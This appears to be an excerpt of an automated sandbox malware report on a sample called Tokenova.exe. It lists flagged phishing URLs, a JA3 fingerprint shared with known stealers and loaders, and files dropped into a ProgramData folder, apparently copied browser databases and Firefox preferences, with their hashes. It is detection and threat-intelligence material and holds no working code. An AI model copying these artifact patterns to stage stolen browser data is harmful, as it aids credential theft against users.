	https://docs.google.com/presentation/d/e/2PACX-1vS-nN7hyacCYt95zNulla0L9qX2DSAc5P5i0gxMOo_AM5wUPw1qtPfPGfFm-j95A08CW22rEIA_1zoH/pub?start=false&loop=false&delayms=1000	Get hash	malicious	HTMLPhisher	Browse	2.16.168.10
	https://share-na2.hsforms.com/1PjEWHU0rTgy9Ph9sIQQEsg403mgg	Get hash	malicious	Unknown	Browse	23.37.124.29
	https://1drv.ms/f/s!Al3kOrNM1pisdUEXbGg8JkzKK48?e=tOzHl1	Get hash	malicious	HTMLPhisher	Browse	172.232.147.51

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	New Purchase Order 2025033.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	94.130.190.206 149.154.167.99
	rdD2B4MLXl.exe	Get hash	malicious	CobaltStrike	Browse	94.130.190.206 149.154.167.99
	rdD2B4MLXl.exe	Get hash	malicious	CobaltStrike	Browse	94.130.190.206 149.154.167.99
	SecuriteInfo.com.Win32.AdwareX-gen.9554.24737.exe	Get hash	malicious	XWorm	Browse	94.130.190.206 149.154.167.99
	raadnetankene.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	94.130.190.206 149.154.167.99
	176348758-8376475954.05.exe	Get hash	malicious	GhostRat	Browse	94.130.190.206 149.154.167.99
	crypted.exe	Get hash	malicious	FormBook	Browse	94.130.190.206 149.154.167.99
	Balance Pendiente.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	94.130.190.206 149.154.167.99
	Patronne.exe	Get hash	malicious	Discord Token Stealer, GuLoader	Browse	94.130.190.206 149.154.167.99
	Payment Error Report.exe	Get hash	malicious	Discord Token Stealer, GuLoader	Browse	94.130.190.206 149.154.167.99

Process:	C:\Users\user\Desktop\Tokenova.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\89r1v\3wtr1v

Download File

Process:	C:\Users\user\Desktop\Tokenova.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 32768, file counter 2, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	0.08438200565341271
Encrypted:	false
SSDEEP:	192:5va0zkVmvQhyn+Zoz679fqlQbGhMHPaVAL23v4U:51zkVmvQhyn+Zoz67NU
MD5:	F7EEE7B0D281E250D1D8E36486F5A2C3
SHA1:	309736A27E794672BD1BDFBAC69B2C6734FC25CE
SHA-256:	378DD46FE8A8AAC2C430AE8A7C5C1DC3C2A343534A64A263EC9A4F1CE801985E
SHA-512:	CE102A41CA4E2A27CCB27F415D2D69A75A0058BA0F600C23F63B89F30FFC982BA48336140714C522B46CC6D13EDACCE3DF0D6685D02844B8DB0AD3378DB9CABB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......z<.{...{.{a{.z.z<z.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\89r1v\asr90rq1d

Download File

Process:	C:\Users\user\Desktop\Tokenova.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\89r1v\bimg4e

Download File

Process:	C:\Users\user\Desktop\Tokenova.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\89r1v\ct00zu

Download File

Process:	C:\Users\user\Desktop\Tokenova.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\89r1v\f3oppz

Download File

Process:	C:\Users\user\Desktop\Tokenova.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2651382841070244
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMNSAELyKOMq+8yC8F/YfU5m+OlTLVum5:Bq+n0JN9ELyKOMq+8y9/Owi
MD5:	9974DC33FD1ECAB164DC2438DD65C533
SHA1:	861E9558AF37E6ACE1FC7ABDDA5691C1EA6F0084
SHA-256:	D968C1187F925762459EA2A485A3D4B24B8FB97D1006EB908ECED2051A0945B1
SHA-512:	CD5A53C23430ADBE69D3E9166187A58D6CFE758E36DEC9658AFFBAF0B242A72A501E75B2D77EDDAF911AE3E6110F730F8601DD78B2E65D95FBFC88E685B87E3E
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\89r1v\h4wb1d

Download File

Process:	C:\Users\user\Desktop\Tokenova.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\89r1v\jw4w4o

Download File

Process:	C:\Users\user\Desktop\Tokenova.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\89r1v\v3w4euaie

Download File

Process:	C:\Users\user\Desktop\Tokenova.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\02cccc50-23d9-4fe3-a4e4-f35e66f7a4b4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44612
Entropy (8bit):	6.096842471851197
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBrwuehDO6vP6OHkPAEvFIcGoup1Xl3jVzXr4CCAo1:z/Ps+wsI7ynEn6nVchu3VlXr4CRo1
MD5:	B4B565EFA03B4C80E8537256D3DA8178
SHA1:	1CE7000CC6EDA12DB98EC8DF8C05E175CA0337F7
SHA-256:	D484D5BDA0DC828D62FA04597F8596A458802D67A1D66A1A103E7849B498E1E0
SHA-512:	D9C50AD5CB3AAA8B2E1F3D19A1047735241393087B5132823368D5E721825704141EB9B2534CF8FF2B682100C05B07FC641EA36A2FFDC90AC3725708A1D92CF6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\15765834-a811-4e86-91b5-a7919a4d2670.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	45899
Entropy (8bit):	6.089382263538948
Encrypted:	false
SSDEEP:	768:3MkbJ6eg6KzhXRLrJ9utVunhDO6vP6OH0UWnqZ1Jl/dOCAoXGoup1Xl3jVzXr4Q5:3Mk16zRRvJ9up6njloRoXhu3VlXr4q
MD5:	0D283567C7D6B5FFEE4FD0AFB8EBBA2D
SHA1:	D5BC3266B47F66EB7003131EDBE7488B8B183E62
SHA-256:	893EF02F2B223E58E6E3396369CE0C6DCA19C19A959052C6A0F7B18CED7215D6
SHA-512:	DEF7BB610B24705113D95E3542B552070662870CE6C83671D0B59F7A1AA864AD49027311066B9AC606B5774D370874EC43EC459FA7CBA463FA04D51A27EBFCEC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1740530958"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1f986a7b-8bc0-4b14-85b0-01ce5bed7d31.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44694
Entropy (8bit):	6.096448676838474
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBkwuehDO6vP6OHgUWnqZ1JcGoup1Xl3jVzXr4CCAg:z/Ps+wsI7yOEW6n3chu3VlXr4CRo1
MD5:	FBD31F34613FFAC00B2C66C9DB7D6E27
SHA1:	270593E540F16D504D94CB8CA64FE9F3096212CA
SHA-256:	7BE14AAEF89159DEFDB48E785F144A747C3EE1DC575F7373FB9CAD505D215CB5
SHA-512:	EF2E1D1D0C66CF86AAB10BAE7FCF09A4A12DDAFE100E890654F1604C79BD2006C4D3E874552CD57BD88D6A74B8DD8213C7A9D51BAA879171E16655AE1B900EED
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\425aa34a-06f0-44bb-a3dd-f07b5e409d2b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090765241452437
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMgwuF9hDO6vP6O+btbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEK6etbz8hu3VlXr4CRo1
MD5:	0EB3C52D8276C0C5395886C0468E3497
SHA1:	983532F9BE0C5BC394B8A4967B8BC35D498E695A
SHA-256:	0FA1EE3E870BAA2560C7299FB1A83B5EA5001C452639F70EA1178C32ABEE7924
SHA-512:	F3FF702EE9C3A374168EC9FC0460DE362296080A396714F4E7F504DA9CFD9EB2922AB7164F3B4933E4E8EDA8C0FA4543ED72BD9BD21A81A3FACE92A0F3F2F1B8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\611a5796-8fe3-4b3d-8b8a-f75b3ce618ec.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44612
Entropy (8bit):	6.096842471851197
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBrwuehDO6vP6OHkPAEvFIcGoup1Xl3jVzXr4CCAo1:z/Ps+wsI7ynEn6nVchu3VlXr4CRo1
MD5:	B4B565EFA03B4C80E8537256D3DA8178
SHA1:	1CE7000CC6EDA12DB98EC8DF8C05E175CA0337F7
SHA-256:	D484D5BDA0DC828D62FA04597F8596A458802D67A1D66A1A103E7849B498E1E0
SHA-512:	D9C50AD5CB3AAA8B2E1F3D19A1047735241393087B5132823368D5E721825704141EB9B2534CF8FF2B682100C05B07FC641EA36A2FFDC90AC3725708A1D92CF6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\13f84354-e216-4888-98f6-45cfcaedc2b1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640155495695214
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7R:fwUQC5VwBIiElEd2K57P7R
MD5:	96FBBD45078D8104E5594252E51D136A
SHA1:	97DEA097B3F451685CC8797DEF532275F0E961C8
SHA-256:	16CFAE521C271B77BEEF85B2B80F72B6BAA08A9419D05E0DB603268C50DFAA21
SHA-512:	0DF3CDA8C2E67E78C38675BAFBE9BE34B46B325FFE7EADB60B182B5E4CFA2EE1825ABFF970B57C3B19CB1A0CA7F9C1FAEDFB1D891B7E4AE2BD89D687630546D1
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640155495695214
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7R:fwUQC5VwBIiElEd2K57P7R
MD5:	96FBBD45078D8104E5594252E51D136A
SHA1:	97DEA097B3F451685CC8797DEF532275F0E961C8
SHA-256:	16CFAE521C271B77BEEF85B2B80F72B6BAA08A9419D05E0DB603268C50DFAA21
SHA-512:	0DF3CDA8C2E67E78C38675BAFBE9BE34B46B325FFE7EADB60B182B5E4CFA2EE1825ABFF970B57C3B19CB1A0CA7F9C1FAEDFB1D891B7E4AE2BD89D687630546D1
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
